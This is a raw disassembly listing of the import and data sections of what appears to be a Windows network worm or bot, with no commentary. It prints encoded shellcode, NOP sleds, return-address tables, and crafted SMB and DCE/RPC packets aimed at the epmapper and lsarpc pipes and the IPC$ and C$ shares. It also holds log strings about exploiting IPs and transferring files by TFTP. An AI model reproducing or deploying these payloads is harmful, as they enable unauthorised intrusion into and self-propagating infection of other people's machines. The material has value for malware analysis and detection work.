dd 1BC64h, 2 dup(0)
dd 1BCA8h, 1B1A0h, 1BAC4h, 2 dup(0)
dd 1C40Eh, 1B000h, 5 dup(0)
dd 1BFEAh, 1C3F4h, 1C3E2h, 1C3D0h, 1C3C0h, 1C3ACh, 1C39Ch
dd 1C38Ah, 1C378h, 1C36Ch, 1C35Eh, 1C34Eh, 1C33Ch, 1C322h
dd 1C30Ah, 1C2F0h, 1C2D6h, 1BCB4h, 1BCCAh, 1BCD2h, 1BCDEh
dd 1BCECh, 1BCF8h, 1BD0Ch, 1BD1Ah, 1BD2Ah, 1BD3Ah, 1BD50h
dd 1BD5Eh, 1BD76h, 1BD8Eh, 1BD9Eh, 1BDC6h, 1BDDEh, 1BDEEh
dd 1BE08h, 1BE24h, 1BE32h, 1BE44h, 1BE5Ah, 1BE6Ch, 1BE7Eh
dd 1BE8Ch, 1BEA2h, 1BEAEh, 1BEC6h, 1BEE0h, 1BEF0h, 1BF02h
dd 1BF14h, 1BF24h, 1BF36h, 1BF4Ah, 1BF5Ch, 1BF6Ch, 1BF7Ah
dd 1BF8Ch, 1BF9Ch, 1BFB2h, 1BFC0h, 1BFCEh, 1C000h, 1C010h
dd 1C026h, 1C03Ah, 1C04Eh, 1C062h, 1C06Eh, 1C07Ch, 1C08Ah
dd 1C0A0h, 1C0ACh, 1C0C2h, 1C0D2h, 1C0E4h, 1C0F0h, 1C106h
dd 1C116h, 1C128h, 1C136h, 1C14Eh, 1C160h, 1C170h, 1C18Ah
dd 1C1A6h, 1C1BCh, 1C1C8h, 1C1D4h, 1C1E2h, 1C1FCh, 1C20Ch
dd 1C21Eh, 1C230h, 1C23Eh, 1C24Ch, 1C25Ah, 1C268h, 1C278h
dd 1C288h, 1C298h, 1C2A4h, 1C2AEh, 1C2BAh, 0
dd 8000000Bh, 80000004h, 80000074h, 80000073h, 80000017h
dd 80000015h, 8000000Ah, 80000009h, 80000002h, 8000000Dh
dd 80000013h, 80000012h, 80000097h, 80000001h, 80000010h
dd 80000003h, 0
aWs2_32_dll_0 db 'WS2_32.dll',0
align 4
db 0E4h ; ä
db 1, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 296h
aSleep db 'Sleep',0
dw 218h
aReadfile_0 db 'ReadFile',0
align 2
db 1Bh,0
aClosehandle db 'CloseHandle',0
db 0DFh ; ß
db 2, 57h, 72h
aItefile db 'iteFile',0
db 0A7h ; §
db 2, 54h, 72h
aAnsactnamedpip db 'ansactNamedPipe',0
a4 db '4',0
aCreatefilea db 'CreateFileA',0
dw 11Ah
aGetlasterror db 'GetLastError',0
align 2
aJ_0 db 'J',0
aCreatethread db 'CreateThread',0
align 2
dw 124h
aGetmodulefilen db 'GetModuleFileNameA',0
align 10h
db '~',0
aExitthread db 'ExitThread',0
align 2
dw 1C1h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aF db 'f',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 16Dh
aGettickcount db 'GetTickCount',0
align 2
dw 1ABh
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aU_0 db 'U',0
aDeletecritical db 'DeleteCriticalSection',0
dw 11Bh
aGetlocaltime db 'GetLocalTime',0
align 2
dw 206h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 7
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
db '}',0
aExitprocess db 'ExitProcess',0
aD_2 db 'D',0
aCreateprocessa db 'CreateProcessA',0
align 4
db 59h ; Y
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 16Eh
aGettimeformata db 'GetTimeFormatA',0
align 4
db 0FBh ; û
align 2
aGetdateformata db 'GetDateFormatA',0
align 2
dw 112h
aGetfilesize db 'GetFileSize',0
db 0Dh
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
aR_0 db '',0
aFindclose db 'FindClose',0
aK_0 db 'Š',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
aI_1 db '‰',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
aA_2 db '',0
aFindnextfilea db 'FindNextFileA',0
aF_0 db '”',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 26Ah
aSetfilepointer db 'SetFilePointer',0
align 4
db 0C2h ; Â
db 1, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
align 4
db 3Eh ; >
db 1, 47h, 65h
aTprocaddress db 'tProcAddress',0
align 2
dw 126h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
aP_0 db '¯',0
aFormatmessagea db 'FormatMessageA',0
align 4
db 93h ; “
db 1, 47h, 6Ch
aObalunlock db 'obalUnlock',0
align 4
db 8Ch ; Œ
db 1, 47h, 6Ch
aOballock db 'obalLock',0
align 2
dw 2B0h
aUnmapviewoffil db 'UnmapViewOfFile',0
db 0D6h ; Ö
db 1, 4Dh, 61h
aPviewoffile db 'pViewOfFile',0
a5 db '5',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 26Ch
aSetfiletime db 'SetFileTime',0
dd 65470114h, 6C694674h, 6D695465h, 800065h
aExpandenvironm db 'ExpandEnvironmentStringsA',0
dw 268h
aSetfileattribu db 'SetFileAttributesA',0
align 10h
db 65h ; e
db 1, 47h, 65h
aTtemppatha db 'tTempPathA',0
align 10h
db 0D2h ; Ò
db 2, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
db 'Î',0
aGetcomputernam db 'GetComputerNameA',0
align 2
dw 0F7h
aGetcurrentproc db 'GetCurrentProcess',0
dw 29Eh
aTerminateproce db 'TerminateProcess',0
align 2
dw 2FFh
aLstrcmpia db 'lstrcmpiA',0
dw 1EFh
aOpenprocess db 'OpenProcess',0
aW db 'W',0
aDeletefilea db 'DeleteFileA',0
dw 0F8h
aGetcurrentpr_0 db 'GetCurrentProcessId',0
db '(',0
aCopyfilea db 'CopyFileA',0
db 0CEh ; Î
db 2, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
a? db '?',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 29Fh
aTerminatethrea db 'TerminateThread',0
db 0DDh ; Ý
db 1, 4Dh, 6Fh
aVefilea db 'veFileA',0
db 0Bh
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 1F9h
aPeeknamedpipe db 'PeekNamedPipe',0
aC_0 db 'c',0
aDuplicatehandl db 'DuplicateHandle',0
aC_1 db 'C',0
aCreatepipe db 'CreatePipe',0
align 2
dw 241h
aSetconsolectrl db 'SetConsoleCtrlHandler',0
dw 11Ch
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 10h
db 75h ; u
db 1, 47h, 65h
aTversionexa db 'tVersionExA',0
db 0CCh ; Ì
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
db '¸',0
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 18Dh
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 4
dd 65480199h, 6C417061h, 636F6Ch, 6548019Fh, 72467061h
dd 6565h, 654801A2h, 65527061h, 6F6C6C41h, 1700063h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
dd 6547015Dh, 73795374h, 546D6574h, 656D69h, 65470150h
dd 61745374h, 70757472h, 6F666E49h, 0CA0041h, 43746547h
dd 616D6D6Fh, 694C646Eh, 41656Eh, 65470174h, 72655674h
dd 6E6F6973h, 19D0000h, 70616548h, 74736544h, 796F72h
dd 6548019Bh, 72437061h, 65746165h, 2BF0000h, 74726956h
dd 466C6175h, 656572h, 695602BBh, 61757472h, 6C6C416Ch
dd 636Fh, 434C01BFh, 5370614Dh, 6E697274h, 4167h, 434C01C0h
dd 5370614Dh, 6E697274h, 5767h, 654700BFh, 49504374h, 6F666Eh
dd 654700B9h, 50434174h, 1310000h, 4F746547h, 50434D45h
dd 2AD0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
db '²',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db '³',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 106h
aGetenvironment db 'GetEnvironmentStrings',0
dw 108h
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 4
db 6Dh ; m
db 2, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 152h
aGetstdhandle db 'GetStdHandle',0
align 2
dw 115h
aGetfiletype db 'GetFileType',0
db 2Fh ; /
db 2, 52h, 74h
aLunwind db 'lUnwind',0
db 53h ; S
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 156h
aGetstringtypew db 'GetStringTypeW',0
align 4
db 7Ch ; |
db 2, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aK_1 db 'ª',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 10h
db 61h ; a
db 2, 53h, 65h
aTendoffile db 'tEndOfFile',0
align 10h
db '!',0
aComparestringa db 'CompareStringA',0
align 2
db '"',0
aComparestringw db 'CompareStringW',0
align 4
db 62h ; b
db 2, 53h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
aKernel32_dll_0 db 'KERNEL32.dll',0
align 4
_rdata ends
; Section 3. (virtual address 0001D000)
; Virtual size : 00059B78 ( 367480.)
; Section size in file : 00059B78 ( 367480.)
; Offset to raw data for section: 0001D000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 41D000h
dword_41D000 dd 0 ; DATA XREF: __cinit+1Fo
dword_41D004 dd 0 ; DATA XREF: __cinit+1Ao
dword_41D008 dd 0 ; DATA XREF: __cinit+10o
dd offset ___initmbctable
dd offset ___initstdio
dword_41D014 dd 0 ; DATA XREF: __cinit:loc_413921o
dword_41D018 dd 0 ; DATA XREF: _doexit+65o
dd offset ___endstdio
dword_41D020 dd 0 ; DATA XREF: _doexit:loc_4139C5o
dword_41D024 dd 0 ; DATA XREF: _doexit+76o
dword_41D028 dd 2 dup(0) ; DATA XREF: _doexit:loc_4139D6o
dword_41D030 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4013EE+E1o
; sub_4013EE+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41D07C dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40119B+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_41D3E0 dd 20h, 0 ; DATA XREF: sub_40119B+136o
dd 20h, 5C005Ch, 0
off_41D3F4 dd offset dword_43005C ; DATA XREF: sub_40119B+15Do
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_41D434 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40119B+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_40119B+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_41D544 dd 10016C6h ; DATA XREF: sub_40119B+104o
dword_41D548 dd 100139Dh ; DATA XREF: sub_40119B+FBo
asc_41D54C: ; DATA XREF: sub_401000+1Co
; sub_4010E3+16o
unicode 0, <\\>,0
align 4
aIpc: ; DATA XREF: sub_401000+Co
; sub_4010E3+Bo
unicode 0, <\IPC$>,0
; char aSExploitingIpS[]
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_4013EE+2E9o
; .text:004019DCo ...
align 4
; char aTftpFileTransf[]
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: sub_4013EE+29Co
; .text:0040198Fo
align 4
; char Format[]
Format db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4013EE+41o
align 10h
aS: ; DATA XREF: .text:00401839o
unicode 0, <è>,0
dd 31665800h, 388140C0h, 6D6F6364h, 7881F775h, 30786804h
dd 5EE7572h, 8, 9090E0FFh, 3Fh dup(90909090h), 9090h
dword_41D6E4 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: .text:00401919o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dd 20h, 0
dd 20h, 5C005Ch, 0
dd offset dword_43005C
a123456111111_0:
unicode 0, <$\123456111111111111111.doc>,0
align 8
dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
a127_0_0_1Ipc: ; DATA XREF: .text:00401858o
unicode 0, <127.0.0.1\IPC$\>
dw 4545h
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 45h ; E
db 3 dup(45h)
db 0E9h ; é
db 0F3h, 0FDh, 0FFh
db 0FFh
aEeeeeeeeeeeeee db 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',0
dword_41DD78 dd 7C54144Ch ; DATA XREF: .text:004018ABo
dword_41DD7C dd 77A1B496h, 77EDA1F0h, 77A1AFA9h, 41414141h, 77FCC662h
; DATA XREF: .text:00401895o
dd 4B5B10EBh, 0B966C933h, 34800125h, 0FAE2990Bh, 0EBE805EBh
dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h
dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h
dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh
dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h
dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh
dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh
dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h
dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh
dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h
dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh
dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h
dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h
dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h
dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h
dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; char Str[]
Str db 'ë' ; DATA XREF: sub_401B98+156o
; sub_401B98+212o
db 10h, 5Ah, 4Ah
dd 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh, 70FFFFFFh
dd 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h, 0D9123485h
dd 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h, 8DD71262h
dd 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h, 0C6C091EDh
dd 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh, 589A7848h
dd 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh, 125A9A99h
dd 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh, 0CB945F1Ah
dd 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h
dd 669BF398h, 411275CEh, 999B9E5Eh
dword_41DF80 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_401B98+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_41E068 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_401FD7+76o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0 db 'LANMAN1.0',0
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002 db 'LM1.2X002',0
dw 4C02h
aAnman2_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12 db ' LM 0.12',0
align 4
dword_41E0F4 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401FD7+A2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_41E1A0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401FD7+C9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_41E280 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B98+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_2: ; DATA XREF: sub_401B98+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_41E2E4 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B98+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_41E350 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B98+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41E3F4 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401B98+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
